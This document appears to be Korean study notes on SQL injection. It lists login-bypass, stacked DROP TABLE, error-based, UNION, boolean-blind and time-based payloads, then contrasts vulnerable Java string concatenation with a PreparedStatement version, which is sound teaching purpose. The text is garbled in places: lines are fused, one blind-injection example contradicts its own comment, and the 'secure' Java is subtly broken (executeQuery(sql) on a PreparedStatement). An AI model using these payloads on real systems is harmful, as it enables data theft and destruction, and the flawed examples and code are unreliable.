예시:
아래와 같은 쿼리가 있다고 가정
SELECT * FROM users WHERE username = '사용자입력값' AND password = '사용자비밀번호';
' OR '1'='1 입력SELECT * FROM users WHERE username = '사용자입력값' AND password = '' OR '1'='1';
(username = '사용자입력값' AND password = '') OR '1'='1'1=1 라는 조건이 항상 참이 되어, 모든 데이터가 조회됨admin' -- 를 입력 (admin 존재한다고 가정)SELECT * FROM users WHERE username = 'admin' --' AND password = '사용자비밀번호';
-- 뒷 부분이 주석처리가 되기 때문에 해당 데이터 조회됨admin'; Drop table users; -- (admin 존재한다고 가정)SELECT * FROM users WHERE username = 'admin'; Drop table users; --' AND password = '사용자비밀번호';
SELECT * FROM users WHERE id = 1' AND extractvalue(1, concat(0x7e, database())) -- ;
UNION 키워드를 사용해 원래의 SQL 쿼리에 민감한 데이터를 추출하는 SQL 쿼리를 덧붙힘SELECT username, password FROM users WHERE id = 1
UNION SELECT table_name, column_name FROM information_schema.tables -- ;
SELECT * FROM users WHERE id = 5 AND LENGTH(username) = 1 --+; // 거짓
SELECT * FROM users WHERE id = 5 AND LENGTH(username) = 3 --+; // 참 - 컬럼 길이가 3인걸 의미
SELECT * FROM users WHERE id = 5 AND ASCII(SUBSTRING(username, 1, 1)) = 97 --+; // 거짓 - 첫번째 값 ASCII 값 97 아님
SELECT * FROM users WHERE id = 5 AND ASCII(SUBSTRING(username, 1, 1)) = 97 --+; // 참 - 첫번째 값 ASCII 값 100임
-- 데이터베이스 이름 길이가 5일 경우 5초 대기
SELECT * FROM users WHERE id = 1 AND IF(LENGTH(DATABASE()) = 5, SLEEP(5), 0) -- ;
일반적인 Statement (취약)
Connection conn = null;
Statement stmt = null;
ResultSet rs = null;
...
String sql = "SELECT * FROM MEMBER WHERE ID = '"+param_id+"' AND PW = '"+param_ passwd+"'";
stmt = conn.createStatement();
rs = stmt.executeQuery(sql);
Prepared Statement 사용
String param_id=request.getParameter("id");
String param_passwd=request.getParameter("passwd");
Connection conn = null;
PreparedStatement pstmt = null;
ResultSet rs = null;
…
String sql = "SELECT * FROM MEMBER WHERE ID = ? AND PW = ?";
pstmt.setString(1, param_id);
pstmt.setString(2, param_passwd);
rs = pstmt.executeQuery(sql);